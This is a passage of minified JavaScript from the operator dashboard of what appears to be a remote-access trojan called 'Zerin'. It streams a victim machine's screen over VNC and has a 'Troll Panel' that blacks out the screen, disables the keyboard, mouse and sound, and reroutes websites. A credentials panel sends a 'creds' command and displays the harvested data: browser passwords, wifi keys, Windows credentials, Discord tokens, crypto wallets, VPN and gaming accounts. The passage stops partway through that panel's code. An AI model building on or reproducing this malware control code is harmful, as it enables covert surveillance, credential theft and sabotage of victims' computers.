py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to collect system specifications"})]})})]})}function Di({label:e,value:t}){return a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-[10px] uppercase tracking-wider mb-0.5",children:e}),a.jsx("p",{className:"text-zerin-text text-sm",children:t})]})}function rV(e,t,n){if(t+8>n)return{cols:0,rows:0,cursorX:0,cursorY:0,numDirty:0,tiles:[]};let r=t;const i=e.getUint8(r);r+=1;const s=e.getUint8(r);r+=1;const o=e.getUint16(r,!0);r+=2;const l=e.getUint16(r,!0);r+=2;const c=e.getUint16(r,!0);r+=2;const u=[];for(let d=0;d(A.current=window.setInterval(()=>{const q=O.current;u(te=>te.fps===q.fps&&te.frameCount===q.frameCount&&te.dirtyTiles===q.dirtyTiles&&te.totalTiles===q.totalTiles?te:{fps:q.fps,frameCount:q.frameCount,width:q.width,height:q.height,lastFrameMs:q.lastFrameMs,dirtyTiles:q.dirtyTiles,totalTiles:q.totalTiles})},500),()=>{A.current&&clearInterval(A.current)}),[]);const G=m.useCallback((q,te)=>{h.current||(h.current=document.createElement("canvas"));const C=h.current;return(C.width!==q||C.height!==te)&&(C.width=q,C.height=te,x.current=null),x.current||(x.current=C.getContext("2d",{willReadFrequently:!1})),{canvas:C,ctx:x.current}},[]),R=m.useRef(new ArrayBuffer(5)),K=m.useRef(new DataView(R.current)),_=m.useCallback(q=>{var te;((te=i.current)==null?void 0:te.readyState)===WebSocket.OPEN&&!d.current&&i.current.send(q)},[]),M=m.useMemo(()=>({sendMouseMove:(q,te)=>{const C=K.current;C.setUint8(0,1),C.setUint16(1,q,!0),C.setUint16(3,te,!0),_(R.current)},sendMouseButton:(q,te,C,Y)=>{const ne=new ArrayBuffer(7),B=new DataView(ne);B.setUint8(0,2),B.setUint8(1,q),B.setUint8(2,te),B.setUint16(3,C,!0),B.setUint16(5,Y,!0),_(ne)},sendMouseScroll:(q,te,C)=>{const Y=new ArrayBuffer(7),ne=new DataView(Y);ne.setUint8(0,3),ne.setInt16(1,q,!0),ne.setUint16(3,te,!0),ne.setUint16(5,C,!0),_(Y)},sendKey:(q,te,C)=>{const Y=new ArrayBuffer(8),ne=new DataView(Y);ne.setUint8(0,4),ne.setUint8(1,q),ne.setUint16(2,te,!0),ne.setUint32(4,C,!0),_(Y)},sendClipboard:q=>{const te=new TextEncoder().encode(q),C=new ArrayBuffer(5+te.length),Y=new DataView(C);Y.setUint8(0,5),Y.setUint32(1,te.length,!0),new Uint8Array(C,5).set(te),_(C)},setQuality:q=>{D.current=q;const te=new ArrayBuffer(3),C=new DataView(te);C.setUint8(0,6),C.setUint8(1,1),C.setUint8(2,q),_(te)},setViewOnly:q=>{d.current=q},sendControl:(q,te)=>{const C=new ArrayBuffer(3),Y=new DataView(C);Y.setUint8(0,6),Y.setUint8(1,q),Y.setUint8(2,te),_(C)}}),[_]),F=m.useCallback(()=>{if(!R2||f.current)return;const q=new Worker(new URL("/assets/vnc-decode.worker-EPE-JCx4.js",import.meta.url),{type:"module"});q.onmessage=te=>{if(te.data.type==="frame"){const{bitmap:C,width:Y,height:ne,cursorX:B,cursorY:le}=te.data;p.current(C,Y,ne,B,le)}},f.current=q},[]),U=m.useCallback(()=>{f.current&&(f.current.terminate(),f.current=null)},[]),V=m.useCallback(()=>{if(R2||b.current!==null)return;const q=()=>{const te=y.current,C=g.current,Y=w.current;if((te.length>0||C.length>0)&&Y){const{canvas:ne,ctx:B}=G(Y.width,Y.height);for(const le of te)B.fillStyle=`rgb(${le.r},${le.g},${le.b})`,B.fillRect(le.col*le.tileSize,le.row*le.tileSize,le.tileSize,le.tileSize);for(const le of C)B.drawImage(le.bitmap,le.col*le.tileSize,le.row*le.tileSize),le.bitmap.close();y.current=[],g.current=[],p.current(ne,Y.width,Y.height,Y.cursorX,Y.cursorY)}b.current=requestAnimationFrame(q)};b.current=requestAnimationFrame(q)},[G]),Z=m.useCallback(()=>{b.current!==null&&(cancelAnimationFrame(b.current),b.current=null);for(const q of g.current)q.bitmap.close();g.current=[],y.current=[]},[]),ae=m.useCallback(()=>{if(T.current!==null)return;const q=64*1024;T.current=window.setInterval(()=>{const te=i.current;if(!(!te||te.readyState!==WebSocket.OPEN)){if(te.bufferedAmount>q&&!P.current){P.current=!0;const C=new ArrayBuffer(3),Y=new DataView(C);Y.setUint8(0,6),Y.setUint8(1,1),Y.setUint8(2,30),_(C)}else if(te.bufferedAmount<=q/2&&P.current){P.current=!1;const C=new ArrayBuffer(3),Y=new DataView(C);Y.setUint8(0,6),Y.setUint8(1,1),Y.setUint8(2,D.current),_(C)}}},250)},[_]),ue=m.useCallback(()=>{T.current!==null&&(clearInterval(T.current),T.current=null),P.current=!1},[]),be=m.useCallback(()=>{if(i.current)return;const q=st();if(!q)return;const C=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/vnc/${e}/ws?mode=${t}`,Y=new WebSocket(C);Y.binaryType="arraybuffer",i.current=Y,Y.onopen=()=>{Y.send(JSON.stringify({type:"auth",token:q})),l(!0),F(),V(),ae()},Y.onmessage=ne=>{if(!(ne.data instanceof ArrayBuffer))return;const B=new DataView(ne.data);if(ne.data.byteLength<13)return;const le=B.getUint16(0,!0),we=B.getUint16(2,!0),Ne=Number(B.getBigUint64(4,!0)),Ae=B.getUint8(12),$=performance.now(),fe=k.current,ve=z.current%N;fe[ve]=$,z.current=ve+1,S.current1){const Q=fe[(ve+1-se+N)%N],he=($-Q)/1e3;he>0&&(H=Math.round((se-1)/he))}const W=O.current;if(W.frameCount++,W.fps=H,W.width=le,W.height=we,W.lastFrameMs=Ne,Ae===1){const Q=rV(B,13,ne.data.byteLength);W.dirtyTiles=Q.numDirty,W.totalTiles=Q.cols*Q.rows;const he=Q.cols>0?Math.ceil(le/Q.cols):128,E=Q.tiles.filter(J=>J.codec===1),ce=Q.tiles.filter(J=>J.codec===2);if(f.current){const J=[],xe=E.map(ze=>{const X=ze.data.buffer.slice(ze.data.byteOffset,ze.data.byteOffset+ze.data.byteLength);return J.push(X),{col:ze.col,row:ze.row,data:X}}),ke=ce.map(ze=>({col:ze.col,row:ze.row,r:ze.data[0],g:ze.data[1],b:ze.data[2]}));f.current.postMessage({type:"tiles",tiles:xe,solids:ke,width:le,height:we,cursorX:Q.cursorX,cursorY:Q.cursorY,tileSize:he},J)}else{w.current={width:le,height:we,cursorX:Q.cursorX,cursorY:Q.cursorY};for(const J of ce)y.current.push({col:J.col,row:J.row,r:J.data[0],g:J.data[1],b:J.data[2],tileSize:he});if(E.length>0){if(j.current){v.current||(v.current=[]);for(const xe of E){const ke=v.current.findIndex(ze=>ze.col===xe.col&&ze.row===xe.row);ke>=0?v.current[ke]={...xe,tileSize:he}:v.current.push({...xe,tileSize:he})}return}j.current=!0;let J=E.map(xe=>({...xe,tileSize:he}));if(v.current&&v.current.length>0){for(const xe of v.current)J.findIndex(ze=>ze.col===xe.col&&ze.row===xe.row)<0&&J.push(xe);v.current=[]}Promise.all(J.map(xe=>{const ke=new Blob([xe.data],{type:"image/jpeg"});return createImageBitmap(ke).then(ze=>({bitmap:ze,col:xe.col,row:xe.row,tileSize:xe.tileSize}))})).then(xe=>{j.current=!1;for(const ke of xe)g.current.push(ke)}).catch(()=>{j.current=!1})}}}else{W.dirtyTiles=0,W.totalTiles=0,s.current&&URL.revokeObjectURL(s.current);const Q=new Uint8Array(ne.data,13),he=new Blob([Q],{type:"image/jpeg"}),E=URL.createObjectURL(he);s.current=E,p.current(E,le,we)}},Y.onclose=()=>{l(!1),i.current=null,U(),Z(),ue(),r==null||r()},Y.onerror=()=>{Y.close()}},[e,t,r,F,U,V,Z,ae,ue]),ye=m.useCallback(()=>{i.current&&(i.current.close(),i.current=null),s.current&&(URL.revokeObjectURL(s.current),s.current=null),U(),Z(),ue(),l(!1)},[U,Z,ue]);return m.useEffect(()=>()=>{i.current&&(i.current.close(),i.current=null),s.current&&URL.revokeObjectURL(s.current),U(),Z(),ue()},[U,Z,ue]),{isConnected:o,stats:c,controls:M,connect:be,disconnect:ye}}function iV({agentId:e}){const t=m.useRef(null),n=m.useRef(null),[r,i]=m.useState(!1),s=m.useRef(!1),[o,l]=m.useState({w:0,h:0}),[c,u]=m.useState(!0),[d,f]=m.useState(null),[p,h]=m.useState(!1),[x,g]=m.useState("Zerin"),[y,v]=m.useState(""),[b,w]=m.useState(!1),[j,N]=m.useState(""),[k,z]=m.useState(!1),[S,O]=m.useState("https://"),[A,T]=m.useState(!1),[P,D]=m.useState(""),[G,R]=m.useState(!1),[K,_]=m.useState(!1),[M,F]=m.useState(!1),[U,V]=m.useState(!1),[Z,ae]=m.useState(!1),[ue,be]=m.useState(!1),ye=(H,se="ok")=>{f({text:H,type:se}),setTimeout(()=>f(null),2500)},q=m.useCallback((H,se,W)=>{s.current||(s.current=!0,i(!0)),l({w:se,h:W});const Q=t.current;if(!Q)return;const he=Q.getContext("2d");if(he)if((Q.width!==se||Q.height!==W)&&(Q.width=se,Q.height=W),typeof H=="string"){const E=n.current||new Image;n.current=E,E.onload=()=>he.drawImage(E,0,0),E.src=H}else H instanceof ImageBitmap?(he.drawImage(H,0,0),H.close()):he.drawImage(H,0,0)},[]),{isConnected:te,stats:C,connect:Y}=kv({agentId:e,onFrame:q}),[ne,B]=m.useState(!1);m.useEffect(()=>{!e||!ne||Ex(e).then(()=>Y()).catch(()=>{Y()})},[e,Y,ne]);const le=async(H,se)=>{try{await Me(e,{command:H,args:se}),ye(`Sent: ${H}`)}catch{ye(`Failed: ${H}`,"err")}},we=()=>{const H=!c;u(H),le("troll_taskbar",[H?"show":"hide"])},Ne=(H,se,W)=>{const Q=!H;se(Q),le(W,[Q?"on":"off"])},Ae=()=>{y.trim()&&(le("troll_msgbox",[y,x||"Zerin"]),h(!1),v(""),g("Zerin"))},$=()=>{j.trim()&&(le("troll_tts",[j]),w(!1),N(""))},fe=()=>{if(!(!S.trim()||S==="https://")){if(!/^https?:\/\//i.test(S)){ye("URL must start with http:// or https://","err");return}le("troll_website",[S]),z(!1),O("https://")}},ve=()=>{P.trim()&&(le("troll_wallpaper",[P]),T(!1),D(""))};return a.jsxs("div",{className:"flex flex-col h-full overflow-hidden",children:[a.jsxs("div",{className:"flex items-center gap-3 px-5 py-2.5 shrink-0 border-b border-[#1a1a20]",style:{background:"linear-gradient(180deg, #111115 0%, #0d0d11 100%)"},children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("div",{className:"w-5 h-5 flex items-center justify-center",style:{background:"rgba(239, 68, 68, 0.1)",border:"1px solid rgba(239, 68, 68, 0.2)"},children:a.jsxs("svg",{className:"w-3 h-3",viewBox:"0 0 24 24",fill:"none",stroke:"#ef4444",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.362 5.214A8.252 8.252 0 0112 21 8.25 8.25 0 016.038 7.048 8.287 8.287 0 009 9.6a8.983 8.983 0 013.361-6.867 8.21 8.21 0 003 2.48z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18a3.75 3.75 0 00.495-7.467 5.99 5.99 0 00-1.925 3.546 5.974 5.974 0 01-2.133-1A3.75 3.75 0 0012 18z"})]})}),a.jsx("span",{className:"font-display text-sm font-semibold tracking-wide text-[#ef4444]/80",children:"TROLL PANEL"})]}),a.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:te&&r?"#22C55E":te?"#eab308":"#ef4444",boxShadow:te?"0 0 6px rgba(34,197,94,0.4)":"none"}}),a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:te&&r?"LIVE":te?"BUFFERING":"CONNECTING"})]}),te&&a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),a.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[a.jsx("span",{className:"text-zerin-accent",children:C.fps})," FPS"]}),o.w>0&&a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),a.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[o.w,"×",o.h]})]})]}),a.jsx("div",{className:"flex-1"}),a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40",children:"VIEW ONLY"})]}),a.jsxs("div",{className:"flex flex-1 min-h-0 overflow-hidden",children:[a.jsxs("div",{className:"w-[200px] shrink-0 flex flex-col border-r border-[#1a1a20] overflow-y-auto",style:{background:"#0b0b0f"},children:[a.jsx("div",{className:"px-3 pt-3 pb-2",children:a.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase",children:"Actions"})}),a.jsxs("div",{className:"flex flex-col gap-1 px-2 pb-3",children:[a.jsx(Xs,{icon:a.jsx(aV,{}),label:"Message Box",desc:"Pop up a dialog",color:"#f59e0b",onClick:()=>h(!0)}),a.jsx(Xs,{icon:a.jsx(sV,{}),label:"Text to Speech",desc:"Read text aloud",color:"#8b5cf6",onClick:()=>w(!0)}),a.jsx(Xs,{icon:a.jsx(oV,{}),label:"Open Website",desc:"Launch a URL",color:"#06b6d4",onClick:()=>z(!0)}),a.jsx(Xs,{icon:a.jsx(lV,{}),label:"Wallpaper",desc:"Change background",color:"#10b981",onClick:()=>T(!0)}),a.jsx(Xs,{icon:a.jsx(cV,{}),label:"CD Tray",desc:"Eject disc drive",color:"#ec4899",onClick:()=>le("troll_cd_tray")})]}),a.jsxs("div",{className:"border-t border-[#1a1a20] px-3 py-3",children:[a.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase block mb-2.5",children:"Toggles"}),a.jsxs("div",{className:"flex flex-col gap-2",children:[a.jsx(Ri,{label:"Taskbar",active:c,color:"#06b6d4",onToggle:we}),a.jsx(Ri,{label:"Swap Mouse",active:G,color:"#f59e0b",onToggle:()=>Ne(G,R,"troll_swapmouse"),invert:!0}),a.jsx(Ri,{label:"Sound",active:!K,color:"#8b5cf6",onToggle:()=>Ne(K,_,"troll_disablesound")}),a.jsx(Ri,{label:"Screen",active:!M,color:"#ef4444",onToggle:()=>Ne(M,F,"troll_blackscreen")}),a.jsx(Ri,{label:"Keyboard",active:!U,color:"#10b981",onToggle:()=>Ne(U,V,"troll_disablekeyboard")}),a.jsx(Ri,{label:"Mouse",active:!Z,color:"#ec4899",onToggle:()=>Ne(Z,ae,"troll_disablemouse")}),a.jsx(Ri,{label:"Internet",active:!ue,color:"#06b6d4",onToggle:()=>Ne(ue,be,"troll_reroutesites")})]})]})]}),a.jsxs("div",{className:"flex-1 flex items-center justify-center relative overflow-hidden",style:{background:"#08080a"},children:[a.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03] z-10",style:{backgroundImage:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.03) 4px)"}}),te&&r?a.jsx("canvas",{ref:t,className:"max-w-full max-h-full",style:{cursor:"default",aspectRatio:o.w>0?`${o.w}/${o.h}`:void 0,filter:"brightness(0.95)"}}):ne?a.jsxs("div",{className:"flex flex-col items-center gap-5",children:[a.jsxs("div",{className:"relative",children:[a.jsx("div",{className:"w-16 h-16 rounded-full border-2 animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.1)",borderTopColor:"rgba(6, 182, 212, 0.6)"}}),a.jsx("div",{className:"absolute inset-0 flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-accent/40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})})]}),a.jsxs("div",{className:"text-center",children:[a.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:te?"Waiting for frame...":"Connecting to desktop..."}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted",children:"View-only stream for live trolling"})]})]}):a.jsxs("div",{className:"flex flex-col items-center gap-5",children:[a.jsx("div",{className:"w-16 h-16 flex items-center justify-center",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:a.jsx("svg",{className:"w-7 h-7 text-zerin-accent/60",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),a.jsxs("div",{className:"text-center",children:[a.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:"Connect to live desktop view?"}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mb-4",children:"This will start a VNC session to stream the agent's screen"}),a.jsx("button",{onClick:()=>B(!0),className:"px-4 py-2 text-xs font-semibold text-white transition-all",style:{background:"#06b6d4",boxShadow:"0 0 12px rgba(6,182,212,0.3)"},children:"Connect VNC"})]})]}),d&&a.jsx("div",{className:"absolute bottom-4 left-1/2 -translate-x-1/2 z-20 px-4 py-2 font-mono text-xs animate-fade-in",style:{background:"#111115",border:`1px solid ${d.type==="err"?"rgba(239,68,68,0.3)":"rgba(6,182,212,0.25)"}`,color:d.type==="err"?"#ef4444":"#06b6d4"},children:d.text})]})]}),p&&a.jsxs(ac,{title:"Message Box",color:"#f59e0b",onClose:()=>h(!1),children:[a.jsxs("div",{className:"space-y-3",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TITLE"}),a.jsx("input",{type:"text",value:x,onChange:H=>g(H.target.value),placeholder:"Window title...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#f59e0b]/30 transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"MESSAGE"}),a.jsx("textarea",{value:y,onChange:H=>v(H.target.value),placeholder:"Enter message...",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#f59e0b]/30 transition-colors`,autoFocus:!0})]})]}),a.jsx(sc,{onCancel:()=>h(!1),onSend:Ae,color:"#f59e0b",disabled:!y.trim()})]}),b&&a.jsxs(ac,{title:"Text to Speech",color:"#8b5cf6",onClose:()=>w(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TEXT"}),a.jsx("textarea",{value:j,onChange:H=>N(H.target.value),placeholder:"What should they hear?",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#8b5cf6]/30 transition-colors`,autoFocus:!0})]}),a.jsx(sc,{onCancel:()=>w(!1),onSend:$,color:"#8b5cf6",disabled:!j.trim()})]}),k&&a.jsxs(ac,{title:"Open Website",color:"#06b6d4",onClose:()=>z(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"URL"}),a.jsx("input",{type:"text",value:S,onChange:H=>O(H.target.value),placeholder:"https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-zerin-accent/30 transition-colors`,autoFocus:!0})]}),a.jsx(sc,{onCancel:()=>z(!1),onSend:fe,color:"#06b6d4",disabled:!S.trim()||S==="https://"})]}),A&&a.jsxs(ac,{title:"Change Wallpaper",color:"#10b981",onClose:()=>T(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"IMAGE PATH OR URL"}),a.jsx("input",{type:"text",value:P,onChange:H=>D(H.target.value),placeholder:"C:\\path\\to\\image.jpg or https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#10b981]/30 transition-colors`,autoFocus:!0})]}),a.jsx(sc,{onCancel:()=>T(!1),onSend:ve,color:"#10b981",disabled:!P.trim()})]})]})}function Xs({icon:e,label:t,desc:n,color:r,onClick:i}){return a.jsxs("button",{onClick:i,className:"group flex items-center gap-3 px-3 py-2.5 text-left transition-all duration-150 hover:translate-x-0.5",style:{background:"transparent"},onMouseEnter:s=>{s.currentTarget.style.background=`${r}08`,s.currentTarget.style.borderLeft=`2px solid ${r}40`,s.currentTarget.style.paddingLeft="10px"},onMouseLeave:s=>{s.currentTarget.style.background="transparent",s.currentTarget.style.borderLeft="none",s.currentTarget.style.paddingLeft="12px"},children:[a.jsx("div",{className:"w-8 h-8 flex items-center justify-center shrink-0 transition-colors",style:{background:`${r}10`,border:`1px solid ${r}20`},children:a.jsx("div",{style:{color:`${r}cc`},children:e})}),a.jsxs("div",{className:"min-w-0",children:[a.jsx("div",{className:"text-[12px] font-medium text-zerin-text-dim group-hover:text-zerin-text transition-colors leading-tight",children:t}),a.jsx("div",{className:"text-[10px] text-zerin-text-muted/50 leading-tight mt-0.5",children:n})]})]})}function ac({title:e,color:t,onClose:n,children:r}){return a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/70",onClick:n,children:a.jsxs("div",{className:"w-full max-w-sm mx-4 animate-scale-in",style:{background:"#111115",border:`1px solid ${t}25`,boxShadow:`0 0 40px ${t}08`},onClick:i=>i.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b",style:{borderColor:`${t}15`},children:[a.jsx("div",{className:"w-2 h-2 rounded-full",style:{background:t,boxShadow:`0 0 8px ${t}60`}}),a.jsx("span",{className:"font-display text-sm font-semibold",style:{color:t},children:e})]}),a.jsx("div",{className:"p-4 space-y-4",children:r})]})})}function sc({onCancel:e,onSend:t,color:n,disabled:r}){return a.jsxs("div",{className:"flex items-center justify-end gap-2 pt-1",children:[a.jsx("button",{onClick:e,className:`px-3 py-1.5 text-xs font-medium text-zerin-text-muted\r + hover:text-zerin-text-dim bg-[#18181c] hover:bg-[#1f1f25] transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:t,disabled:r,className:`px-4 py-1.5 text-xs font-semibold text-white transition-all\r + disabled:opacity-30 disabled:cursor-not-allowed`,style:{background:r?"#333":n,boxShadow:r?"none":`0 0 12px ${n}40`},children:"Send"})]})}function Ri({label:e,active:t,color:n,onToggle:r,invert:i}){const s=t;return a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"text-[11px] text-zerin-text-dim font-medium",children:e}),a.jsx("button",{onClick:r,className:"relative w-9 h-[20px] rounded-full transition-colors duration-200 focus:outline-none",style:{background:s?`${n}30`:"rgba(239, 68, 68, 0.2)",border:`1px solid ${s?`${n}40`:"rgba(239, 68, 68, 0.3)"}`},children:a.jsx("div",{className:"absolute top-[2px] w-3.5 h-3.5 rounded-full transition-all duration-200",style:{left:s?"18px":"2px",background:s?n:"#ef4444",boxShadow:`0 0 6px ${s?`${n}50`:"rgba(239,68,68,0.4)"}`}})})]})}function aV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 10h.01M12 10h.01M16 10h.01M9 16H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-5l-5 5v-5z"})})}function sV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})})}function oV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9.004 9.004 0 008.716-6.747M12 21a9.004 9.004 0 01-8.716-6.747M12 21c2.485 0 4.5-4.03 4.5-9S14.485 3 12 3m0 18c-2.485 0-4.5-4.03-4.5-9S9.515 3 12 3m0 0a8.997 8.997 0 017.843 4.582M12 3a8.997 8.997 0 00-7.843 4.582m15.686 0A11.953 11.953 0 0112 10.5c-2.998 0-5.74-1.1-7.843-2.918m15.686 0A8.959 8.959 0 0121 12c0 .778-.099 1.533-.284 2.253m0 0A17.919 17.919 0 0112 16.5c-3.162 0-6.133-.815-8.716-2.247m0 0A9.015 9.015 0 013 12c0-1.605.42-3.113 1.157-4.418"})})}function lV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909m-18 3.75h16.5a1.5 1.5 0 001.5-1.5V6a1.5 1.5 0 00-1.5-1.5H3.75A1.5 1.5 0 002.25 6v12a1.5 1.5 0 001.5 1.5zm10.5-11.25h.008v.008h-.008V8.25zm.375 0a.375.375 0 11-.75 0 .375.375 0 01.75 0z"})})}function cV(){return a.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:[a.jsx("circle",{cx:"12",cy:"12",r:"9"}),a.jsx("circle",{cx:"12",cy:"12",r:"3"})]})}function uV({agentId:e,agentStatus:t,autoGrab:n,onAutoGrabConsumed:r}){var k,z,S,O,A,T,P,D,G,R,K,_,M,F,U,V,Z,ae,ue,be,ye,q,te,C,Y,ne,B,le,we,Ne,Ae,$,fe,ve,H,se,W,Q,he,E,ce,J,xe,ke,ze;const[i,s]=m.useState(null),[o,l]=m.useState(!1),[c,u]=m.useState(""),[d,f]=m.useState(new Set),p=t==="dead",h=m.useRef(null);m.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=m.useRef(!1);m.useEffect(()=>{n&&!x.current&&!p&&(x.current=!0,y(),r==null||r())},[n]);const g=X=>{f(re=>{const oe=new Set(re);return oe.has(X)?oe.delete(X):oe.add(X),oe})},y=m.useCallback(async()=>{if(!p){l(!0),u(""),s(null),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:X}=await Me(e,{command:"creds"});let re=0;h.current=setInterval(async()=>{var oe,Oe,et,L,ie,de,lt,Ct,Lt,gr,Qr,Li,As;re++;try{const Jr=(oe=(await Xn(e)).results)==null?void 0:oe.find(bt=>bt.task_id===X);if(Jr){if(h.current&&clearInterval(h.current),h.current=null,l(!1),Jr.error){u(Jr.error);return}if(Jr.output)try{const bt=JSON.parse(Jr.output);s(bt);const rn=new Set;(Oe=bt.chrome_passwords)!=null&&Oe.length&&rn.add("chrome_passwords"),(et=bt.firefox_passwords)!=null&&et.length&&rn.add("firefox_passwords"),(L=bt.wifi)!=null&&L.length&&rn.add("wifi"),(ie=bt.windows_credentials)!=null&&ie.length&&rn.add("windows_credentials"),(de=bt.discord_tokens)!=null&&de.length&&rn.add("discord_tokens"),(lt=bt.wallets)!=null&<.length&&rn.add("wallets"),(Ct=bt.vpn)!=null&&Ct.length&&rn.add("vpn"),((Lt=bt.steam)!=null&&Lt.found||(gr=bt.epic)!=null&&gr.found||(Qr=bt.minecraft)!=null&&Qr.length||(Li=bt.roblox)!=null&&Li.found)&&rn.add("gaming"),(As=bt.errors)!=null&&As.length&&rn.add("errors"),f(rn)}catch{u("Failed to parse credential data")}}else 